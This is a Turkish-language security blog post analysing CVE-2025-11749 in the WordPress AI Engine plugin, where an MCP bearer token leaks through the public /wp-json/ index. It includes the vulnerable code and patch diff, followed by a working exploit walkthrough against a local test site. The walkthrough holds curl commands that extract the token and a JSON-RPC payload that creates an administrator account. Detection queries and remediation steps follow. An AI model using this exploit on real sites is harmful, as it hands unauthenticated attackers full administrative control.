Post

CVE: Wordpress AI Engine CVE-2025-11749

Wordpress AI Engine eklentisinde bulunan CVE-2025-11749 zafiyetini analiz edeceğiz ve nasıl sömürebileceğimizi öğreneceğiz. - AI Engine <= 3.1.3 - Unauthenticated Sensitive Information Exposure to Privilege Escalation

CVE: Wordpress AI Engine CVE-2025-11749

AI Engine WordPress eklentisi, yapay zeka destekli içerik oluşturma ve yönetim araçları sunar. Ancak, bu eklentide (<= 3.1.3) kritik bir güvenlik açığı bulunmaktadır (CVE-2025-11749). Bu zafiyet, saldırganın bearer token‘a erişmesine ve ayrıcalık yükseltme saldırıları gerçekleştirmesine olanak tanır. Bu zafiyet araştırmacı Emiliano Versini tarafından keşfedilmiştir ve CVSS skoru 9.8 (Kritik) olarak derecelendirilmiştir.

AI Engine eklentisinin aktif olarak 100.000’den fazla kurulumu bulunmaktadır ve bu zafiyet, birçok WordPress sitesini potansiyel olarak tehlikeye atmaktadır.

İndirme Sayısı

Zafiyet Detayları

Sorunun temelinde, eklentinin MCP arayüzü için sunduğu bir özelliğin hatalı yapılandırılması yatmaktadır. MCP, ChatGPT veya Claude gibi harici yapay zeka modellerinin sitenizle etkileşime girmesi için tasarlanmış bir köprüdür.

Zafiyetli eklenti, bu harici bağlantı için ‘No-Auth URL’ adında, varsayılan olarak kapalı olan bir özellik sunar. Bir yönetici bu özelliği etkinleştirdiğinde, kimlik doğrulama için gizli bir Bearer Token içeren API uç noktaları oluşturur.

Kritik hata tam da bu noktada meydana gelir: Eklenti, bu hassas uç noktaları kaydederken, WordPress’e “bu uç noktayı genel API listesinden gizle” anlamına gelen ‘show_in_index’ = false parametresini göndermeyi ihmal eder.

Bu ihmal sonucunda, Bearer Token, sitenin herkese açık olan /wp-json/ API dizininde düz metin olarak ifşa olur. Kimliği doğrulanmamış herhangi bir saldırgan, tokeni kopyalayabilir, ardından bu tokeni kullanarak MCP uç noktasına bağlanıp wp_create_user veya wp_update_user gibi komutları çalıştırarak yönetici yetkisinde kullanıcı hesabı oluşturabilirr.


Etkilenen Versiyonlar

  • 3.1.3 Versiyonu da dahil olmak üzere altında bulunan tüm versiyonlar. (<= 3.1.3)
  • Yukarıdaki versiyon dahilinde ve No-Auth URL özelliğin aktif olduğu sistemler

Detaylı Teknik Açıklama

Zafiyetin sömürülebilir olması için iki ayarın bir arada etkinleştirilmiş olması gerekir. Bunlardan ilki aşağıdaki resimde görüldüğü gibi No-Auth URL özelliğinin etkinleştirilmesidir.

No-Auth URL Ayarı

Daha sonra MCP özellikleri kısmında WordPress(Recommended) (Manage posts, pages, comments, users, media, taxonomies, and WordPress settings.) seçeneğinin seçilmesi gerekmektedir.

MCP Özellikleri

Bu özelliği aktif ettiğimizde yapılabilecek tüm işlemler görünmektedir.

MCP Fonksiyonları

Bu 36 temel işlem arasında kritik olarak aşağıdaki işlemler bulunmaktadır:

  • wp_list_plugins
  • wp_get_users
  • wp_create_user
  • wp_update_user
  • wp_create_post
  • wp_update_post
  • wp_delete_post

Bu işlemlerin kritiklik seviyesi o an içinde bulunulan duruma göre değişiklik gösterebilir.

Bizim için en kritik olanları wp_create_user ve wp_update_user işlemleridir. Çünkü bu işlemler sayesinde yönetici yetkisinde yeni bir kullanıcı oluşturabilir veya mevcut bir kullanıcının yetkilerini yükseltebiliriz.

Şimdi zafiyetin kaynağına tekrar gelecek olursak, eklenti MCP uç noktalarını kaydederken ‘show_in_index’ parametresini false olarak ayarlamayı unuttuğu için bu uç noktalar herkese açık hale geldiğinden bahsetmiştik.

Bu durum Bareer Token’ın /wp-json/ dizininde düz metin olarak ifşa olmasına neden olmaktadır. Bunu doğrulamak için /wp-json/ dizinine istek gönderdiğimizde aşağıdaki gibi bir çıktı alıyoruz:

WP Json

Namespace kısmında mcp/v1 ifadesini görüyoruz. Bu, MCP uç noktalarının burada listelendiğini gösterir.

Peki uç noktaların görüntülenmesine neden olan kod parçasına göz atalım:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Bu yapı No-AUth URL Etkinleştirildiğinde çalışmaktadır
$noauth_enabled = $this->core->get_option( 'mcp_noauth_url' );
  if ( $noauth_enabled && !empty( $this->bearer_token ) ) {
    register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
      'methods' => 'GET',
      'callback' => [ $this, 'handle_sse' ],
      'permission_callback' => function ( $request ) {
        return $this->handle_noauth_access( $request );
      },
    ] );

    register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
      'methods' => 'POST',
      'callback' => [ $this, 'handle_sse' ],
      'permission_callback' => function ( $request ) {
        return $this->handle_noauth_access( $request );
      },
    ] );

    register_rest_route( $this->namespace, '/' . $this->bearer_token . '/messages', [
      'methods' => 'POST',
      'callback' => [ $this, 'handle_message' ],
      'permission_callback' => function ( $request ) {
        return $this->handle_noauth_access( $request );
      },
    ] );
  }

WordPress’in register_rest_route fonksiyonu, bir dizi seçenek almaktadır. Bu seçeneklerden biriside, rotanın genel API dizininde listelenip listelenmeyeceğini belirleyen 'show_in_index' parametresidir.

Bu kod yapısında, ‘show_in_index’ => false parametresi belirtilmemiştir. Varsayılan olarak true kabul edilmektedir. Bu nedenle WordPress, bu üç hassas rotayı herkese açık olan /wp-json adresinde listelemektedirr.

Buradaki zafiyetli noktayı düzenlemek için show_in_index değerinin false olarak atanması yeterli olacaktır.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@@ -104,4 +98,5 @@
           return $this->handle_noauth_access( $request );
         },
+        'show_in_index' => false,
       ] );
 
@@ -112,4 +107,5 @@
           return $this->handle_noauth_access( $request );
         },
+        'show_in_index' => false,
       ] );
 
@@ -120,4 +116,5 @@
           return $this->handle_noauth_access( $request );
         },
+        'show_in_index' => false,
       ] ); 


Nasıl Sömürülür ?

Token değerinin açık bir şekilde ifşa olduğunu gördükten sonra, bu tokeni kullanarak MCP uç noktalarına erişebiliriz. Öncesinde aşağıki gibi bir komutla buradaki token değerini alabiliriz:

1
curl -s https://hwkt-local-wp.ddev.site/wp-json | jq '[paths(scalars) as $p | select(getpath($p)|tostring|test("mcp";"i")) | {path:$p,value:getpath($p)}]'

Komut Çıktısı :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
[
  ...
  {
    "path": [
      "routes",
      "/mcp/v1/sse",
      "_links",
      "self",
      0,
      "href"
    ],
    "value": "https://hwkt-local-wp.ddev.site/wp-json/mcp/v1/sse"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/messages",
      "namespace"
    ],
    "value": "mcp/v1"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/messages",
      "_links",
      "self",
      0,
      "href"
    ],
    "value": "https://hwkt-local-wp.ddev.site/wp-json/mcp/v1/messages"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/b1lal_secret_token/sse",
      "namespace"
    ],
    "value": "mcp/v1"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/b1lal_secret_token/sse",
      "_links",
      "self",
      0,
      "href"
    ],
    "value": "https://hwkt-local-wp.ddev.site/wp-json/mcp/v1/b1lal_secret_token/sse"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/b1lal_secret_token/messages",
      "namespace"
    ],
    "value": "mcp/v1"
  },
  {
    "path": [
      "routes",
      "/mcp/v1/b1lal_secret_token/messages",
      "_links",
      "self",
      0,
      "href"
    ],
    "value": "https://hwkt-local-wp.ddev.site/wp-json/mcp/v1/b1lal_secret_token/messages"
  }
]

Aldığımız çıktıda token değerinin b1lal_secret_token olduğunu görüyoruz.

Bundan sonraki aşamada ele geçiridiğimiz token ile mcp/v1 altında bulunan /sse uç noktasına özel bir istek hazırlayıp göndermektir.

SSE Nedir ?

SSE, sunucu tarafından istemciye sürekli olarak veri gönderen bir iletişim protokolüdür. Tipik olarak, bir HTTP bağlantısı üzerinden tek yönlü bir akış sağlar. Bu, sunucunun istemciye anlık güncellemeler göndermesine olanak tanır.

SSE’nin temel çalışma prensibi basittir. İstemci, bir HTTP bağlantısı oluşturur ve sunucu tarafından gönderilen verileri dinler. Sunucu, bu bağlantı üzerinden periyodik olarak veri gönderir. Bu, istemciye gerçek zamanlı güncellemeleri alabilme imkanı tanır.

Buradan alıntılanmıştır, daha fazla açıklama için mutlaka göz atın.

Token değerimizi aşağıdaki şekilde değişkene atama işlemi yapıyoruz:

1
LEAKED_TOKEN=b1lal_secret_token

Daha sonra oluşturmak istediğimiz kullanıcının bilgilerini içeren json yapısını oluşturuyoruz ve payload.json olarak kayıt ediyoruz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "wp_create_user",
    "arguments": {
      "user_login": "attacker",
      "user_pass": "P@ssword123!",
      "user_email": "[email protected]",
      "role": "administrator"
    }
  },
  "id": "1337"
}

Artık saldırıyı gerçekleştirmek için önümüzde engel kalmadı. Yapmamız gereken işlem /mcp/v1/b1lal_secret_token/sse uç noktasına bu json verisini göndermek olacaktır. Bunu aşağıdaki gibi gerçekleştirebiliriz:

1
curl -X POST "https://hwkt-local-wp.ddev.site/wp-json/mcp/v1/${LEAKED_TOKEN}/sse" -H "Content-Type: application/json" -d @payload.json

Çalıştırdığımız komutun çıktısı aşağıdaki gibidir.

1
{"jsonrpc":"2.0","id":1337,"result":{"content":[{"type":"text","text":"User created ID 2"}]}}

Bu sonuç bize kullanıcının başarılı bir şekilde oluşturulduğunu göstermektedir. Bunu veritabanımızı kontrol ederek yada giriş yapmayı deneyerek de doğrulayabiliriz.

1
2
3
4
5
6
+----+-------------+--------------+---------------------+---------------------+---------------+
| ID | user_login  | display_name | user_email          | user_registered     | roles         |
+----+-------------+--------------+---------------------+---------------------+---------------+
| 1  | b1lal       | b1lal        | admin@hwkt.local    | 2025-10-31 21:19:08 | administrator |
| 2  | attacker    | attacker     | attacker@hwkt.local | 2025-11-08 13:03:00 | administrator |
+----+-------------+--------------+---------------------+---------------------+---------------+


Giriş yapıyoruz: attacker:P@ssword123!

Attacker
Attacker Panel

Buradan sonrası saldırganın yeteneklerine bağlıdır :)


Tespit

Sitenizin bu zafiyet için hedef alınıp alınmadığını kontrol etmek için sunucu günlüklerinizi inceleyebilirsiniz.

  • /wp-json/ adresine yapılan olağandışı GET isteklerini ve /wp-json/mcp/v1/ altındaki /sse uç noktalarına yapılan POST isteklerini arayın.
  • WordPress kullanıcı günlüklerinde, API üzerinden aniden oluşturulmuş yeni administrator hesapları olup olmadığını kontrol edin.

Potansiyel sömürü girişimlerini filtrelemek için aşağıdaki gibi bir sorgu kullanılabilir:

1
method:POST AND (path:"/wp-json/mcp/v1/" OR path:"*/mcp/v1/*/sse")


Önlem ve Güncelleme

Eklentinin 3.1.4 ve daha üstü bir versiyona güncellenmesi gerekmektedir ama sitenizde No-Auth URL özelliği aktif ise sadece güncellemeyi tek başına yapmak yeterli olamayabilir.

Güncellemeyi yaptıktan sonra Bearer Token daha karmaşık bir değer ile değiştirilmesi gerekmektedir.

Daha sonra Wordpress Admin profil sayfasından tüm kullanıcılar sayfasına gidip kullanıcıların kontrol edilmesi gerekmektedir.

Saldırgan sistem üzerinde elde etmesi gereken bilgileri topladıktan sonra kullanıcı hesabını silmiş olabileceğini göz önüne almak iyi olacaktır. Bunun için Tespit kısmındaki adımların çok detaylı bir şekilde uygulanması gerekmektedir.

Referanslar

Teşekkürler @batuhaner

This post is licensed under CC BY 4.0 by the author.